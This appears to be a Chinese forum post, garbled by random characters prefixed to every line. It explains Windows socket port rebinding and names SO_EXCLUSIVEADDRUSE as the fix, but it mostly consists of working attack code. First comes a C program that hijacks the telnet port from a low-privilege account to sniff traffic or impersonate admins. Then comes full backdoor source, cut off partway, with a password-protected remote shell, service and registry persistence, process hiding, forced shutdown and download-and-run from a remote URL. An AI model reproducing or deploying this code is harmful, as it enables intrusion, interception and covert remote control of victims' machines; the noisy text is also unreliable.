在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Up'#OkTx s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
1' v!~*af ;H.V-~:P) saddr.sin_family = AF_INET;
Owi/e ujSoWs saddr.sin_addr.s_addr = htonl(INADDR_ANY);
n=C"pH# {?IbbT bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
|rwY
3Cc#{X-+ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
P/|1,Sk A)>#n) 这意味着什么?意味着可以进行如下的攻击:
{vCtp p^k0Rad 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
c>{QTI:] t4G$#~ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
9jqsEd-SW vno/V#e$WX 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Wu'qpJ /OzoeIt 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
kDWEgnXK,v Yg3nT:K_Y& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@x+2b0 b ;-kDJi 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
uHSnZ"# usD@4!PoA 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
aE9Y
|6 Wu/#}Bw# #include
A8*zB=C #include
S* O .
? #include
I*3}erT #include
-HQbvXAS DWORD WINAPI ClientThread(LPVOID lpParam);
79W^;\3 int main()
o?hr>b {
!LwHKCj WORD wVersionRequested;
@:9Gs!! DWORD ret;
;ISnI WSADATA wsaData;
/0XMQy BOOL val;
/~ {`!30 SOCKADDR_IN saddr;
e@W+ehx" SOCKADDR_IN scaddr;
0zB[seyE int err;
, i5 _4 SOCKET s;
>- \bLr SOCKET sc;
:1>?:3,` int caddsize;
q_h (D/g HANDLE mt;
d9M[]{ DWORD tid;
qGV_oa74 wVersionRequested = MAKEWORD( 2, 2 );
h7UNmwj err = WSAStartup( wVersionRequested, &wsaData );
fyb;*hgu if ( err != 0 ) {
=#S.t:HQ* printf("error!WSAStartup failed!\n");
KaNs>[a8 return -1;
aY>v }
d/&>
`[i saddr.sin_family = AF_INET;
g=56|G7n S*V}1</L //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
bH e'
U> @I`^\oJ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
SscB&{f saddr.sin_port = htons(23);
VIP7j(#t_g if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5o dT\>Sn {
T"_'sSI>tF printf("error!socket failed!\n");
$ItjVc@U return -1;
73D<wMgZF }
6`e7|ilh6 val = TRUE;
Z)#UCoK!c //SO_REUSEADDR选项就是可以实现端口重绑定的
a,c!#iyl3 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
9_?xAJ {
"+ou!YK+ printf("error!setsockopt failed!\n");
<ukBAux,D return -1;
>Q\Kc=Q| }
{7OHEArv
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
c0gVW~I1 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
;mG*Rad //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
`.W2t5Y `x`[hJ?i if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
DVL-qt\;n {
E5bVCAz ret=GetLastError();
]]O( IC printf("error!bind failed!\n");
|h\7Q1,1~2 return -1;
I4X9RYB6c }
"%gsGtS listen(s,2);
tNi>TkC}` while(1)
`x9Eo4(/ {
J, 9NVw$ caddsize = sizeof(scaddr);
##7y|AwK //接受连接请求
GkIY2PD sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
N7+L@CC6T if(sc!=INVALID_SOCKET)
6QX m]<
{
`OBzOM mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
kt/,& oKI if(mt==NULL)
s{Z)<n03 {
MY^{[#Q printf("Thread Creat Failed!\n");
F~mIV;BP break;
{arqcILr }
ZD]1C~) }
"La;$7ds CloseHandle(mt);
r!mRUw'u }
?l0Qi closesocket(s);
YA4 D?' WSACleanup();
*j%x return 0;
'+PKGmRW }
`<C<[JP:o DWORD WINAPI ClientThread(LPVOID lpParam)
}X&rJV {
<-umeY"n> SOCKET ss = (SOCKET)lpParam;
Wh)D_ SOCKET sc;
YX0ysE*V:& unsigned char buf[4096];
;.A}c)b SOCKADDR_IN saddr;
#X}HF $t{= long num;
sS>b}u+v#! DWORD val;
%c }V/v_h DWORD ret;
pjWRd_h. //如果是隐藏端口应用的话,可以在此处加一些判断
Yq+1kA //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Y^eN}@]?& saddr.sin_family = AF_INET;
x#>V50E saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
_v,0"_" saddr.sin_port = htons(23);
h Jb2y`,q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z%82Vt!a5 {
7zb^Z] printf("error!socket failed!\n");
i}) s4%a return -1;
}e?H(nZS7h }
/<J(\;Jr6 val = 100;
.-KI,IU if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$5R2QNg n {
cMw<3u\ ret = GetLastError();
6>a6;[ return -1;
m9 h '!X< }
>
N~8#C if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4Z"}W!A {
8QrpNSj4 ret = GetLastError();
|kYlh5/c d return -1;
WAa45G }
Aqyw if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
+[7~:e}DZ {
)6OD@<r{ printf("error!socket connect failed!\n");
kA:mB;: closesocket(sc);
;M:AcQZ|_ closesocket(ss);
?b
(iWq return -1;
T8XrmR&?PX }
+V3mF_s|z while(1)
AUnfhk@$ {
ujU,O%.n //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
U"PcNQy //如果是嗅探内容的话,可以再此处进行内容分析和记录
QJ|@Y(KV0 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
B~p%pTS+ num = recv(ss,buf,4096,0);
,>;21\D
if(num>0)
\T7Mt|f:5 send(sc,buf,num,0);
J]F&4O else if(num==0)
Z>hTL_|]a{ break;
<LHhs<M' num = recv(sc,buf,4096,0);
pRd.KY -< if(num>0)
LOh2eZ"n send(ss,buf,num,0);
NXW*{b else if(num==0)
3JnpI,By break;
|cvU2JI@ }
LP2~UVq closesocket(ss);
F B]Y~;( closesocket(sc);
HI.*xkBXl& return 0 ;
hlzB
cz* }
O2w-nd74U Pvxb6\G&d kK6OZhLH ==========================================================
OF-k7g7 c_J9CKqc 下边附上一个代码,,WXhSHELL
0=Z[6Q@: >!963>D R ==========================================================
lx)^wAO4 Q:}]-lJg #include "stdafx.h"
-l^<[% 6Yu:v #include <stdio.h>
,81%8r #include <string.h>
$0])%
#include <windows.h>
P}R:o #include <winsock2.h>
#Hw|P #include <winsvc.h>
l_I)d7 #include <urlmon.h>
kiTC)S=]) tsXKhS;/w #pragma comment (lib, "Ws2_32.lib")
Y;i=c6 #pragma comment (lib, "urlmon.lib")
kAftW
' (s};MdXIz #define MAX_USER 100 // 最大客户端连接数
EVmBLH-a #define BUF_SOCK 200 // sock buffer
c=m'I>A #define KEY_BUFF 255 // 输入 buffer
oC0ndp~+& JEUU~L; #define REBOOT 0 // 重启
?cU,%<r #define SHUTDOWN 1 // 关机
!_fDL6a- XwH>F7HPe #define DEF_PORT 5000 // 监听端口
5pQpzn=
a_?sJ #define REG_LEN 16 // 注册表键长度
!fOPYgAGKn #define SVC_LEN 80 // NT服务名长度
RGW@@ fdl.3~.C // 从dll定义API
mLCDN1UO{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
(0-Ol9[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#2tmi1
ya typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
HuhQ|~C+~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
e@D_0OZ w h$bDTCj // wxhshell配置信息
0eY!Z._^ struct WSCFG {
VfU"%0x int ws_port; // 监听端口
#GzALF97 char ws_passstr[REG_LEN]; // 口令
`TBXJ(Y int ws_autoins; // 安装标记, 1=yes 0=no
m:@y_:X0 char ws_regname[REG_LEN]; // 注册表键名
B[b>T= char ws_svcname[REG_LEN]; // 服务名
5`h$^l/ char ws_svcdisp[SVC_LEN]; // 服务显示名
Be6Yh~m char ws_svcdesc[SVC_LEN]; // 服务描述信息
h"FI]jK|} char ws_passmsg[SVC_LEN]; // 密码输入提示信息
"\4W])30 int ws_downexe; // 下载执行标记, 1=yes 0=no
k:0j;\Sx
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
F!+1w(b: char ws_filenam[SVC_LEN]; // 下载后保存的文件名
.NOAp S<Dbv? };
j|!,^._i ;;0'BdsL` // default Wxhshell configuration
;aQ``B struct WSCFG wscfg={DEF_PORT,
@*z"Hi>4 "xuhuanlingzhe",
O<S.fr, 1,
]?^V xB7L "Wxhshell",
^Jp T8B} "Wxhshell",
^exU]5nvz "WxhShell Service",
us.#|~i<h "Wrsky Windows CmdShell Service",
C4+DZ<pE "Please Input Your Password: ",
gN/<g8 1,
Giyh( DL "
http://www.wrsky.com/wxhshell.exe",
sN41Bz$q. "Wxhshell.exe"
y4-kuMYR };
B;k'J:-" Q'OtXs 80 // 消息定义模块
EBy7wU`S char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
$1yy;IyR char *msg_ws_prompt="\n\r? for help\n\r#>";
G6p gG+w char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
e=i X]%^ char *msg_ws_ext="\n\rExit.";
>wW{$ char *msg_ws_end="\n\rQuit.";
mnm
ZO} char *msg_ws_boot="\n\rReboot...";
A`7(i'i5] char *msg_ws_poff="\n\rShutdown...";
hRf
l\Q[ char *msg_ws_down="\n\rSave to ";
u/=hueR<^ g p:0 Y char *msg_ws_err="\n\rErr!";
DU^.5f char *msg_ws_ok="\n\rOK!";
u*C*O4f>OC M7=,J;@ char ExeFile[MAX_PATH];
u8-6s+
O int nUser = 0;
c
p"K ?) HANDLE handles[MAX_USER];
b A+_/1C int OsIsNt;
$Q*R/MY ,rMf;/[ SERVICE_STATUS serviceStatus;
sVHF\{< SERVICE_STATUS_HANDLE hServiceStatusHandle;
4*X Nk;Dx E'x"EN // 函数声明
M9iX_4 int Install(void);
#,#`<h! int Uninstall(void);
SBxpJsW> int DownloadFile(char *sURL, SOCKET wsh);
#pvq9fss,} int Boot(int flag);
[F6)Z[uG void HideProc(void);
'K7\[if{ int GetOsVer(void);
M%E<]H2;S int Wxhshell(SOCKET wsl);
M<-Q8a~ void TalkWithClient(void *cs);
ebBi zc= int CmdShell(SOCKET sock);
r8 9o int StartFromService(void);
_vTr?jjfK int StartWxhshell(LPSTR lpCmdLine);
5r5on#O& '+9<[] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Fb{N>*l. VOID WINAPI NTServiceHandler( DWORD fdwControl );
$1.-m{Bd HV a9b; // 数据结构和表定义
V0;"Qa@q SERVICE_TABLE_ENTRY DispatchTable[] =
7_\G|Zd {
!v8R( {wscfg.ws_svcname, NTServiceMain},
$Cz2b/O {NULL, NULL}
s#^0[ Rt };
tVG;A&\,6 i-|N6J // 自我安装
?UsCSJ1V int Install(void)
z~t0l {
VeQGdyhY char svExeFile[MAX_PATH];
\5a.JfF HKEY key;
UFj H8jSBx strcpy(svExeFile,ExeFile);
)Rn\6ka gX"-3w // 如果是win9x系统,修改注册表设为自启动
\c2x
udU if(!OsIsNt) {
cZVx4y%kz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
O#D{:H_dD> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
aM~IRLmK RegCloseKey(key);
cKTjQJ# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Ta\F~$M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
u8c@q'_ RegCloseKey(key);
Sr
\y1nt return 0;
;"M6}5dQ4 }
2"D4q (@ }
k'8tcXs }
l8G1N[ else {
w"{DLN[Qw a3 }V/MY // 如果是NT以上系统,安装为系统服务
]N 9N][n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
}uma<b if (schSCManager!=0)
Y%;J/4dd {
.Y6v#VI SC_HANDLE schService = CreateService
S<7!<]F- (
$b`nV4p schSCManager,
~dS15E4-Pp wscfg.ws_svcname,
e@P(+.Ke wscfg.ws_svcdisp,
~cc }yDe SERVICE_ALL_ACCESS,
lTC0kh SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ao)';[%9s SERVICE_AUTO_START,
Gwk$<6E SERVICE_ERROR_NORMAL,
,8r?C !m] svExeFile,
Jg$<2CR& NULL,
LDQ,SS, NULL,
V/#Ra NULL,
'8]p]#l NULL,
a,w|r#x] NULL
;`oK5 );
fg LY{ if (schService!=0)
M
P8Sd1_= {
Hs)Cf)8u CloseServiceHandle(schService);
?z>J7 }w*= CloseServiceHandle(schSCManager);
DKf(igw strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
j""ZFh04 strcat(svExeFile,wscfg.ws_svcname);
$
64up! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
*Z#OfB4} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
m ""+$ RegCloseKey(key);
uXc;!* return 0;
*47/BLys< }
Ba[,9l[ }
uE.BB# CloseServiceHandle(schSCManager);
u)<]Pb})r }
v,iZnANZ&P }
pa46,q&M ah*{NR) return 1;
{dZ]+2Z~+ }
~B|m"qY{i 1_t+lJI9j // 自我卸载
OjhX:{"59 int Uninstall(void)
t+a.,$U {
^i|R6oO_5 HKEY key;
%W~w\mT SVo ?o|< if(!OsIsNt) {
x/?ET1iGt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
36Lkcda[ RegDeleteValue(key,wscfg.ws_regname);
1(@$bsgu2 RegCloseKey(key);
c:m=9>3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
f- (i% RegDeleteValue(key,wscfg.ws_regname);
5QiQDQT}5 RegCloseKey(key);
!'H$08Ql} return 0;
wF`Y
,@ }
i2Wvu3,D3- }
TR3U<: }
a
U\|ZCH\] else {
R ` ViRJh #csP.z3^y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Dnd; N/9 if (schSCManager!=0)
0BDw}E\ {
T3fQ #p SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
(ODwdN7; if (schService!=0)
JwbZ`Z*w {
!p+54w\ 2 if(DeleteService(schService)!=0) {
4-.W~C'Q CloseServiceHandle(schService);
Q3WI@4 CloseServiceHandle(schSCManager);
zjA]Tr return 0;
]qqgEZ1!Y }
rnZ$Qk-H CloseServiceHandle(schService);
aqEZhMy }
fk,Vry CloseServiceHandle(schSCManager);
b=r 3WkB6 }
X8ulaa }
d#E&,^@M }gQ2\6o2g return 1;
Rq}lW.<r }
{3x>kRaKci +4-T_m/W/ // 从指定url下载文件
U,P>P+\@ int DownloadFile(char *sURL, SOCKET wsh)
Ms|c"?se {
Qn8xe, HRESULT hr;
Bh&pZcm| char seps[]= "/";
3aq'JVq char *token;
dJgLS^1E char *file;
;~<To9O char myURL[MAX_PATH];
KFbB}oId char myFILE[MAX_PATH];
3'.@aMA@ bVUIeX' strcpy(myURL,sURL);
srf}+>u& token=strtok(myURL,seps);
u0L-xC$L while(token!=NULL)
YTa
g|If {
^($'l)I file=token;
xuvW6Q; token=strtok(NULL,seps);
G{!er:Vwdh }
5csh8i'V O?X[&t
GetCurrentDirectory(MAX_PATH,myFILE);
.f_
A% strcat(myFILE, "\\");
\<pr28
strcat(myFILE, file);
y;ElSt;S send(wsh,myFILE,strlen(myFILE),0);
:C>7HEh-2_ send(wsh,"...",3,0);
;v.[aq hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
i3,.E]/wX@ if(hr==S_OK)
O=3/qs6m return 0;
\I!mzo else
JVuju$k return 1;
nmU1xv_ '|4+<# }
{[2o ]$ "eGHX // 系统电源模块
8NHm#Z3Ol int Boot(int flag)
^+76^*0 {
e>z"{ u(F0 HANDLE hToken;
MOD&3>NI TOKEN_PRIVILEGES tkp;
=3X>Ur M<Wi:r: if(OsIsNt) {
F_*']:p OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
W q<t+E[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
,Iyc0 tkp.PrivilegeCount = 1;
.j:,WF<"l5 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
w5 . ^meU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
AfA"QCyO if(flag==REBOOT) {
?CAU+/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
5e+j51 return 0;
`0NU
c)` }
S=k!8]/d| else {
<;Hb7p3N if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
}i!+d,|f return 0;
D<J'\mo }
M )ET1ZM }
8@rYT5e3c else {
hH`x*:Qja if(flag==REBOOT) {
WRD
z*Zf if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
kD#n/RBgf return 0;
|<c9ZS+ }
sa8O<Ab else {
P7-k!p" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
%<>:$4U@] return 0;
B!Wp=9)G }
;$iT]S }
9&*
7+! pX_ return 1;
rT `sY }
iTinZ!Ut :=B.)]F.) // win9x进程隐藏模块
E.*hY+kGZ void HideProc(void)
zn>lF {
\)dp :z8/iD y HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
*B3f ry if ( hKernel != NULL )
x~5,v5R^] {
us.[wp'Sh pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~S('\h)1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
""7H;I& FreeLibrary(hKernel);
>IS4 }
6{5T^^x?< 2;sTSGDG return;
vT#R>0@mi }
uM$b/3%s M<Bo<,!ua // 获取操作系统版本
rCa]T@= int GetOsVer(void)
p|gVIsg[-e {
8(n>99VVK OSVERSIONINFO winfo;
}m<+tn3m winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
L&+k`b GetVersionEx(&winfo);
Ia%cc
L= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
uB+#<F/c return 1;
iY`[dsT else
aO$0[-A return 0;
U>kaQ54/ }
N=u(
3So b6S"&hs // 客户端句柄模块
y3(~8n int Wxhshell(SOCKET wsl)
z>+CMH5L) {
Gu{1%bb#kL SOCKET wsh;
~<u\YIJ struct sockaddr_in client;
$~q{MX&J DWORD myID;
`%|3c v3[ZPc;; while(nUser<MAX_USER)
0>m$e(Z {
v "2A? int nSize=sizeof(client);
nEUH; z wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
IHW s<U if(wsh==INVALID_SOCKET) return 1;
4NRj>y R,.qQF\* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
R{H8@JLD if(handles[nUser]==0)
Jm=3%H closesocket(wsh);
-AL^ else
VSO(DCr"L nUser++;
maSVq G }
, MqoX-+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
<bJ|WS| @}^VA9ULK return 0;
9Pvv6WyKy }
Jl\U~i ,W'P8C // 关闭 socket
Q-iBK*-w void CloseIt(SOCKET wsh)
) F -8 {
guCCu2OTA% closesocket(wsh);
g9Dynm5 nUser--;
'o=DGm2H ExitThread(0);
|U'` Sc }
;fQIaE&H "\lOOp^- // 客户端请求句柄
*k&V;?x|wt void TalkWithClient(void *cs)
6[FXgCb {
n[;)( 1D1kjM^Bo SOCKET wsh=(SOCKET)cs;
?]*"S{Cq v char pwd[SVC_LEN];
VeEa17g& char cmd[KEY_BUFF];
,<7HLV char chr[1];
\ %xku: int i,j;
a$iDn_{ D0_CDdW%7 while (nUser < MAX_USER) {
/ZL6gRRA| non5e)w3@ if(wscfg.ws_passstr) {
3:w_49~:~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
r^E(GmW //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_iA oNT! //ZeroMemory(pwd,KEY_BUFF);
`uDOIl i=0;
y9T5 while(i<SVC_LEN) {
f6(1jx" 7^!iGhI]r // 设置超时
xqDz*V/mD fd_set FdRead;
CG35\b;Q struct timeval TimeOut;
=Y^K
FD_ZERO(&FdRead);
x'G_z_<V FD_SET(wsh,&FdRead);
Q`O~ f<a TimeOut.tv_sec=8;
bO('y@)X TimeOut.tv_usec=0;
TQ~a5q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
G `eU if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
>,Zn~8&Z @5??`n if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
@ I&k|\ pwd
=chr[0]; gLFSZ
if(chr[0]==0xd || chr[0]==0xa) { mU[
pwd=0; [Ak0kH>
break; 5|}u25J
} +~==qLsU
i++; b'4}=Xpn
} trA ^JY
l"h6e$dP
// 如果是非法用户,关闭 socket 9[&q
C
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6\UIp#X
} t8lGC R
,l,q;]C%
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I4<_y5
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YJDJj
x
X-CoC
while(1) { oZL# *Z(h
E
KJ2P$
ZeroMemory(cmd,KEY_BUFF); pI_:3D
xe
@bAuR
// 自动支持客户端 telnet标准 R9K~b^`
j=0; p9MJa[}V
while(j<KEY_BUFF) { 4,=;:#n,J
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #Hl?R5
cmd[j]=chr[0]; 3/c%4b.Z
if(chr[0]==0xa || chr[0]==0xd) { Qip@L WvT
cmd[j]=0; M`*
BS
break; ExFz@6@
} ra@CouR^c{
j++; Uu Zjf9}
} yI-EF)A@;
HqyAo]{GN
// 下载文件 4)XB3$<
if(strstr(cmd,"http://")) { (7$BF~s:,
send(wsh,msg_ws_down,strlen(msg_ws_down),0); #oR@!?
if(DownloadFile(cmd,wsh)) l?xd3Z@7[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [4yw? U
else HRCnjem/v\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n7/&NiHxv/
} I%<pS,p
else { fMM%,/b{
hdmKD0
switch(cmd[0]) { 7^d7:1M
\W\*'C8q\
// 帮助 Ue>{n{H"y
case '?': { #D ]CuSi
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,.|/B^jV
break; Q/h-Khmz
} +A$>F@u
// 安装 *q[;-E(fZ#
case 'i': { eq<!
if(Install()) .Ep&O#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yGV>22vv
M
else gr@Ril^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I;G(Wj
break; j^hLn>
} 0fqycGSmU
// 卸载 'C>sYSL
case 'r': { V&Rwj_Y
if(Uninstall()) `z7,HJ.0c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _lm^v%J$
else ~Jj~W+h
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tgbq4xR(
break; -]n%+,3L
} y(^\]-fE
// 显示 wxhshell 所在路径 .t&G^i'n
case 'p': { cVr+Wp7K#|
char svExeFile[MAX_PATH]; G9GLRdP
strcpy(svExeFile,"\n\r"); ekmWYQ
~
strcat(svExeFile,ExeFile); &$l#0?Kc^
send(wsh,svExeFile,strlen(svExeFile),0); /f AAQ7
break; jmP;(j.|
} <jM
{ <8-
// 重启 cz|?j
case 'b': { @*|T(068&
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v?%vB#A^
if(Boot(REBOOT)) *O_^C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Y&4yIx
else { =([4pG
closesocket(wsh); dt"&
ExitThread(0); _8\B~;0
} +!$`0v
break; H(y Gh
} Tb8r+~HK
// 关机
deTD|R
case 'd': { dT (i*E\j
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^r mQMjF
if(Boot(SHUTDOWN)) IcGX~zWr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E\p"%
else { S.<4t*,
closesocket(wsh); wTG(U3{3K
ExitThread(0); O}}rosA
} sNP
;
break; {OOn7=
} f/iMI)J
// 获取shell 3=*ur( Qy
case 's': { N0JdU4'
CmdShell(wsh);
`46.!
closesocket(wsh); @g]EY&Uzl
ExitThread(0); @YG-LEh
break; {esb"beGLa
} xH}bX- m
// 退出 25@@-2h @
case 'x': { -~X[j2
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6E9/z
CloseIt(wsh); aUA)p}/:
break; tCar:p4$
} #3'M>SaoH
// 离开 x($Djx
case 'q': { uU^iY$w
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xil;`8h
closesocket(wsh); Wcm8,?*
WSACleanup(); {Qn{w%!|
exit(1); LhM$!o?W
break; (mKH,r
} Ndgx@LTQQ
} 9.il1mAKg
} _+(@?
,|.}6\zl*{
// 提示信息 @2*Q*
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =)gdxywoC
} WIpV'F|t]`
} fGRV]6?V
4"\cA:9a
return; .aVt d
[
} W8;!rFW
B;W%P.<.
// shell模块句柄 jIVD i~Ld
int CmdShell(SOCKET sock) 2A:h&t/|C
{ \xv(&94U
STARTUPINFO si; G.v(2~QFd
ZeroMemory(&si,sizeof(si)); nAAv42j[
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e?*Teb?R
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
*
1xs/$`
PROCESS_INFORMATION ProcessInfo; #.$y
char cmdline[]="cmd"; R^P>yk8
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "Aw)0a[j1
return 0; -5ZmIlL.S
} CyW|k
Dz
>xq.bG
// 自身启动模式 m8e()8lZ3
int StartFromService(void) D}j`T
{ cC+2%q B
typedef struct `|nCnT'
{ V/kndV[j
DWORD ExitStatus; oD1k7Gq1
DWORD PebBaseAddress; Xc}XRKiy{
DWORD AffinityMask; <c:H u{D
DWORD BasePriority; evYn}
